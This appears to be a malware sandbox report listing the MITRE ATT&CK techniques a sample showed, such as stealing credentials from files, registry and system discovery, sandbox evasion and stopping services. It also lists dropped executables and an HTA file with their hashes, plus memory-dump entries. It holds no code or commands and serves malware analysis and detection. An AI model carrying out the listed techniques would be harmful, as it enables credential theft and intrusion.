                                                      Credential Access

                                                      Unsecured Credentials

                                                      1
                                                      T1552

                                                      Credentials In Files

                                                      1
                                                      T1552.001

                                                      Discovery

                                                      Process Discovery

                                                      1
                                                      T1057

                                                      Query Registry

                                                      6
                                                      T1012

                                                      System Information Discovery

                                                      3
                                                      T1082

                                                      System Location Discovery

                                                      1
                                                      T1614

                                                      System Language Discovery

                                                      1
                                                      T1614.001

                                                      Virtualization/Sandbox Evasion

                                                      2
                                                      T1497

                                                      Lateral Movement

                                                      Collection

                                                      Data from Local System

                                                      1
                                                      T1005

                                                      Command and Control

                                                      Exfiltration

                                                      Impact

                                                      Service Stop

                                                      1
                                                      T1489

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      TempMIKXBIV7GKCV0UVABNFFYTNMHVDQAVR9.EXE
                                                      • Path C:\Users\Admin\AppData\Local\TempMIKXBIV7GKCV0UVABNFFYTNMHVDQAVR9.EXE
                                                      • Size 1.8MB
                                                      • SHA256 53d4b7a917d975149ee9a757ccbb944e5a7f40814b07108358495bef54e1371d
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      08FvuMAEp.hta
                                                      • Path C:\Users\Admin\AppData\Local\Temp\08FvuMAEp.hta
                                                      • Size 717B
                                                      • SHA256 4e1bc8c5c98986d9dd77fb6e4ad293eb971972cf22290290a35c457f4e58a200
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      TbV75ZR.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\10338870101\TbV75ZR.exe
                                                      • Size 1.4MB
                                                      • SHA256 4d0f0f1165c992c074f2354604b4ee8e1023ba67cb2378780313e4bb7e91c225
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      30234249fb.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\10340260101\30234249fb.exe
                                                      • Size 1.8MB
                                                      • SHA256 9c0ab18d33af6a474236d22c62037b62ad30191cec668686f6d4c521934b58bf
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      BIm18E9.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe
                                                      • Size 4.9MB
                                                      • SHA256 d749497d270374cba985b0b93c536684fc69d331a0725f69e2d3ff0e55b2fbc6
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      apple.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\10341360101\apple.exe
                                                      • Size 327KB
                                                      • SHA256 493b897d1a54e3aa3f177b49b2529d07cdd791c6d693b6be2f9a4f1144b74a32
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      dBSGwVB.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe
                                                      • Size 13.1MB
                                                      • SHA256 868c78f267862af83cf94c9d21615d9c01afe3dbd0da02dc96bbc3a956ccc48d
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      kDveTWY.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe
                                                      • Size 1.4MB
                                                      • SHA256 5a967613fad14a8eb61757b641eb3f84236360e06834800e90e2e28da09da2de
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      oalJJxv.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\10343250101\oalJJxv.exe
                                                      • Size 9.8MB
                                                      • SHA256 3e8b13abf977519f8aa7ced613234a39ee1a39e07a2915c60c09713677ecdeba
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      11.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\11.exe
                                                      • Size 88KB
                                                      • SHA256 4d33206682d7ffc895ccf0688bd5c914e6b914ea19282d14844505057f6ed3e3
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Exam.com
                                                      • Path C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
                                                      • Size 2KB
                                                      • SHA256 bc7af5dec5ea9270d20d747319410e43322ed142c53595c930db14e04a006c5d
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      Exam.com
                                                      • Path C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
                                                      • Size 925KB
                                                      • SHA256 1300262a9d6bb6fcbefc0d299cce194435790e70b9c7b4a651e202e90a32fd49
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      j
                                                      • Path C:\Users\Admin\AppData\Local\Temp\267978\j
                                                      • Size 824KB
                                                      • SHA256 9969d8451e6060cee765b796495ead8bd0edd2eb16360314bb5963d1b1cdeaea
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Austin.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Austin.vss
                                                      • Size 85KB
                                                      • SHA256 85e83c28ec5133e729e1d589b79ca3ef65495c02a911435cce23fb425eb770dd
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Awful
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Awful
                                                      • Size 94KB
                                                      • SHA256 0a769b75981a22272c8cdfd236bb51808d2299f078273df0e011e25a249b0b81
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Canal.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Canal.vss
                                                      • Size 81KB
                                                      • SHA256 ab3c6129219ac08cbcf00367b1f069441a11a42b63bcc81e46b017536d65d0c5
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Conflict
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Conflict
                                                      • Size 110KB
                                                      • SHA256 f1d0d36cbc755c2f31adb6a42217d4480b9597d43fa27d2e6d8501d65b3e2a7b
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Cottage.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Cottage.vss
                                                      • Size 71KB
                                                      • SHA256 5aacf86ca57a158a800f20f039108d7f6df591d1bef14ee24d91423717bc8f62
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Districts
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Districts
                                                      • Size 118KB
                                                      • SHA256 9d470620a79b5ce77f0e3d5406c4c54c9f61d5fcd2f781f8db05dbebbb6ed999
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Eddie
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Eddie
                                                      • Size 101KB
                                                      • SHA256 1843309c96fea8c8312cc64d409eedf66f0d376c12bc691d1f0e7a2675b47d83
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Edit.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Edit.vss
                                                      • Size 27KB
                                                      • SHA256 0c11eccd7bdef189ef62afac46bb59eb963767b70bba87642f11b41e8c5fc6fc
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Engineers.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Engineers.vss
                                                      • Size 88KB
                                                      • SHA256 b14844c9e8ae6b2733cd157c7c2c1c3b1157531ca07ec9309d6aa8d5ebedef9a
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Fields.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Fields.vss
                                                      • Size 56KB
                                                      • SHA256 b9afe6f6076c3f5108f4d919d11945cf9fb7a0c287a0cf1068fe9e3f66aa5ba3
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Floors.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Floors.vss
                                                      • Size 19KB
                                                      • SHA256 4834c3258ac73f7e4ff289c8d22eb3955032cd1627a1f4f933086501ce45c966
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Flyer.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Flyer.vss
                                                      • Size 58KB
                                                      • SHA256 1ebd9f449b9da28f1dbe26ec0fa279fb471c52c88726ee4a12fa8c35f721c7f4
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Freeware
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Freeware
                                                      • Size 23KB
                                                      • SHA256 dd57a2267de17221cf6116be83d56c1200e207c8353cc8789b9493f5e6d50644
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Garage
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Garage
                                                      • Size 64KB
                                                      • SHA256 57ba738791fdb9219d8dfa54df6fa9759ed62eaf43fc0247897a446958da2b74
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Mitsubishi
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Mitsubishi
                                                      • Size 60KB
                                                      • SHA256 9d43a52c9c6cfee8a4074ccc075bd3e96cec130b4cc3cb51cb2f55a392300392
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Racks.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Racks.vss
                                                      • Size 55KB
                                                      • SHA256 d636bd37c2ac917086960a8d25b83279fb03bd0b1493d55230711dad06c2ed2c
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Remarks
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Remarks
                                                      • Size 108KB
                                                      • SHA256 d07bff297568b50a169768ffa5b08f5769ecc5417ffbdeb5c8eb9b945ac21587
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Removed
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Removed
                                                      • Size 2KB
                                                      • SHA256 74a6e67214774c9b31e2d7b73eae2a27a7763cfadfcce8db4bae31fcc5571c18
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      Safer
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Safer
                                                      • Size 63KB
                                                      • SHA256 da9365cb75f201a47ac5d282d9adf7091c939085585872a35f67b00fc0adc2b6
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Sexually
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Sexually
                                                      • Size 120KB
                                                      • SHA256 bc6036e63aebb86812d95dc96eafd1c9e1925393565fdc05ea10f1c7bd75e537
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Shirt.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Shirt.vss
                                                      • Size 87KB
                                                      • SHA256 d5d2cb78d35b519f73d19dbcee9d96c843c90e03f5b489da7ae8632613f5038b
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Spanish.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Spanish.vss
                                                      • Size 479KB
                                                      • SHA256 3384e2d115cda37a155bc37069115c366715c20ac39192c8232e2457c4c1904d
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Spy.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Spy.vss
                                                      • Size 91KB
                                                      • SHA256 89c953cc565c4fa3177c4379de29099380382d7c687ed199f52bb02e30373d88
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Strengthening.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Strengthening.vss
                                                      • Size 81KB
                                                      • SHA256 bdb55d53bd88b8e306c44d503c6bc28a5981a3029c750face9851fdbb803796b
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Vermont
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Vermont
                                                      • Size 61KB
                                                      • SHA256 c52e3d567e7b864477e0f3d431de1bc7f3bf787e2b78cf471285e8e400e125a7
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      Weekends.vss
                                                      • Path C:\Users\Admin\AppData\Local\Temp\Weekends.vss
                                                      • Size 52KB
                                                      • SHA256 0739280572aef96c309e26d18179581f27b15b03b0dd21994040ed2fe711b998
                                                      • MD5 SHA1 SHA512 SSDEEP
                                                      Submit Download

                                                      __PSScriptPolicyTest_pap01e0a.1is.ps1
                                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pap01e0a.1is.ps1
                                                      • Size 60B
                                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                      • MD5 SHA1 SHA512
                                                      Submit Download

                                                      memory/1060-32-0x00000000009E0000-0x0000000000E93000-memory.dmp
                                                      Download

                                                      memory/1060-48-0x00000000009E0000-0x0000000000E93000-memory.dmp
                                                      Download

                                                      memory/1564-1010-0x0000000000400000-0x0000000000464000-memory.dmp
                                                      Download

                                                      memory/1564-1011-0x0000000000400000-0x0000000000464000-memory.dmp
                                                      Download

                                                      memory/1656-1030-0x0000000000050000-0x0000000000E39000-memory.dmp
                                                      Download

                                                      memory/2184-932-0x00000000771F0000-0x0000000077405000-memory.dmp
                                                      Download

                                                      memory/2184-927-0x0000000000EB0000-0x0000000000EBA000-memory.dmp
                                                      Download

                                                      memory/2184-930-0x00007FFB9CA70000-0x00007FFB9CC65000-memory.dmp
                                                      Download

                                                      memory/2184-929-0x00000000012F0000-0x00000000016F0000-memory.dmp
                                                      Download

                                                      memory/2472-22-0x0000000007BF0000-0x0000000007C86000-memory.dmp
                                                      Download

                                                      memory/2472-20-0x00000000075C0000-0x00000000075DA000-memory.dmp
                                                      Download

                                                      memory/2472-4-0x0000000005820000-0x0000000005842000-memory.dmp
                                                      Download

                                                      memory/2472-6-0x0000000006090000-0x00000000060F6000-memory.dmp
                                                      Download

                                                      memory/2472-5-0x0000000006020000-0x0000000006086000-memory.dmp
                                                      Download

                                                      memory/2472-24-0x0000000008A40000-0x0000000008FE4000-memory.dmp
                                                      Download

                                                      memory/2472-23-0x0000000007B80000-0x0000000007BA2000-memory.dmp
                                                      Download

                                                      memory/2472-2-0x00000000050F0000-0x0000000005126000-memory.dmp
                                                      Download

                                                      memory/2472-16-0x0000000006100000-0x0000000006454000-memory.dmp
                                                      Download

                                                      memory/2472-3-0x0000000005880000-0x0000000005EA8000-memory.dmp
                                                      Download

                                                      memory/2472-17-0x00000000066C0000-0x00000000066DE000-memory.dmp
                                                      Download

                                                      memory/2472-19-0x0000000007E10000-0x000000000848A000-memory.dmp
                                                      Download

                                                      memory/2472-18-0x0000000006700000-0x000000000674C000-memory.dmp
                                                      Download

                                                      memory/2796-1032-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/2972-948-0x00007FFB9CA70000-0x00007FFB9CC65000-memory.dmp
                                                      Download

                                                      memory/2972-950-0x00000000771F0000-0x0000000077405000-memory.dmp
                                                      Download

                                                      memory/2972-947-0x0000000000AD0000-0x0000000000ED0000-memory.dmp
                                                      Download

                                                      memory/2972-945-0x00000000003C0000-0x00000000003CA000-memory.dmp
                                                      Download

                                                      memory/4048-470-0x0000000000630000-0x0000000000ADD000-memory.dmp
                                                      Download

                                                      memory/4048-607-0x0000000000630000-0x0000000000ADD000-memory.dmp
                                                      Download

                                                      memory/4464-952-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-915-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-1033-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-595-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-1015-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-1014-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-1013-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-1012-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-939-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-63-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-64-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-46-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-997-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-821-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4464-889-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4664-951-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4832-74-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4832-102-0x0000000000300000-0x00000000007B3000-memory.dmp
                                                      Download

                                                      memory/4928-917-0x00000000042A0000-0x000000000431F000-memory.dmp
                                                      Download

                                                      memory/4928-918-0x00000000042A0000-0x000000000431F000-memory.dmp
                                                      Download

                                                      memory/4928-923-0x0000000004B60000-0x0000000004F60000-memory.dmp
                                                      Download

                                                      memory/4928-921-0x00000000042A0000-0x000000000431F000-memory.dmp
                                                      Download

                                                      memory/4928-920-0x00000000042A0000-0x000000000431F000-memory.dmp
                                                      Download

                                                      memory/4928-922-0x0000000004B60000-0x0000000004F60000-memory.dmp
                                                      Download

                                                      memory/4928-919-0x00000000042A0000-0x000000000431F000-memory.dmp
                                                      Download

                                                      memory/4928-916-0x00000000042A0000-0x000000000431F000-memory.dmp
                                                      Download

                                                      memory/4928-926-0x00000000771F0000-0x0000000077405000-memory.dmp
                                                      Download

                                                      memory/4928-924-0x00007FFB9CA70000-0x00007FFB9CC65000-memory.dmp
                                                      Download

                                                      memory/5108-942-0x00007FFB9CA70000-0x00007FFB9CC65000-memory.dmp
                                                      Download

                                                      memory/5108-944-0x00000000771F0000-0x0000000077405000-memory.dmp
                                                      Download

                                                      memory/5108-941-0x0000000005410000-0x0000000005810000-memory.dmp
                                                      Download